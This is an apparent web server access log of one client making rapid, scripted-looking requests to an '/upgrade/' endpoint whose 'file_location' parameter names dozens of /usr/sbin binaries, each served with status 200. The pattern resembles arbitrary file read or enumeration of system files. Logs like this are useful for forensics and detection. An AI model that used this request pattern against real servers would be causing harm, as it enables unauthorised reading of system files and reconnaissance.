45.135.193.11 - - [11/Sep/2026:23:06:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-revoke&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 48518 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-revoke&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fiptables-nft-restore&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138249 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fiptables-nft-restore&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselabel_digest&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42580 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselabel_digest&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexiqsumm&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 40308 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexiqsumm&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frpcinfo&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 50540 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frpcinfo&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxtables-nft-multi&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138208 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxtables-nft-multi&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdmfilemapd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 46681 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdmfilemapd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdmidecode&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 101268 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdmidecode&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdosfslabel&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 53256 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdosfslabel&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffaillock&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 44471 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffaillock&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs.minix&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 55673 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs.minix&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselabel_get_digests_all_partial_matches&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42200 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselabel_get_digests_all_partial_matches&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fblkdeactivate&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42926 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fblkdeactivate&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdcb&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 74989 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdcb&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fhtcacheclean&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 53859 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fhtcacheclean&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselabel_lookup_best_match&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42209 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselabel_lookup_best_match&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fcracklib-check&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 40479 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fcracklib-check&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdosfsck&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 75098 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdosfsck&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs.xfs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 258415 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs.xfs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnft&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 45971 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnft&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsetquota&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 73370 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsetquota&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_mdrestore&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 52349 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_mdrestore&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Funsquashfs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 87337 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Funsquashfs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Febtables-translate&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138100 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Febtables-translate&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fisaset&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43151 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fisaset&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkdosfs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 60234 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkdosfs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpam_namespace_helper&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37742 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpam_namespace_helper&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpwmconfig&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 46540 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpwmconfig&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fraid-check&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 39251 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fraid-check&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_rtcp&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43253 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_rtcp&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-coverage&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37917 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-coverage&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgetpolicyload&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 40652 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgetpolicyload&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fifconfig&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 71505 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fifconfig&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frtacct&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 46855 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frtacct&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsefcontext_compile&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 70755 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsefcontext_compile&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_spaceman&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 56767 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_spaceman&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fload_policy&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41307 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fload_policy&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fbiosdecode&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 46458 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fbiosdecode&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs.msdos&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 60238 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs.msdos&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnfsidmap&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 45280 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnfsidmap&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsetpci&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 48521 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsetpci&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fapachectl&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 39705 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fapachectl&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdepmod&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 117269 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdepmod&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-keymgr&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37833 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-keymgr&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fping6&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 72245 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fping6&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frestorecon_xattr&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42836 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frestorecon_xattr&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fethtool&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 387942 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fethtool&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fumount.nfs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 81816 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fumount.nfs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:37 -0400] "GET /upgrade/?location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37333 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Firqbalance-ui&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 53208 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Firqbalance-ui&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flid&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42765 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flid&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_copy&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 86716 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_copy&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fzramctl&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 60057 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fzramctl&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-bios-setup&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 660538 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-bios-setup&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frfkill&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 49016 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frfkill&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fuseradd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 94392 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fuseradd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fclock&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 62925 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fclock&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flsmod&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 117264 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flsmod&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmii-tool&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 46192 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmii-tool&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fvalidatetrans&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 40985 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fvalidatetrans&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
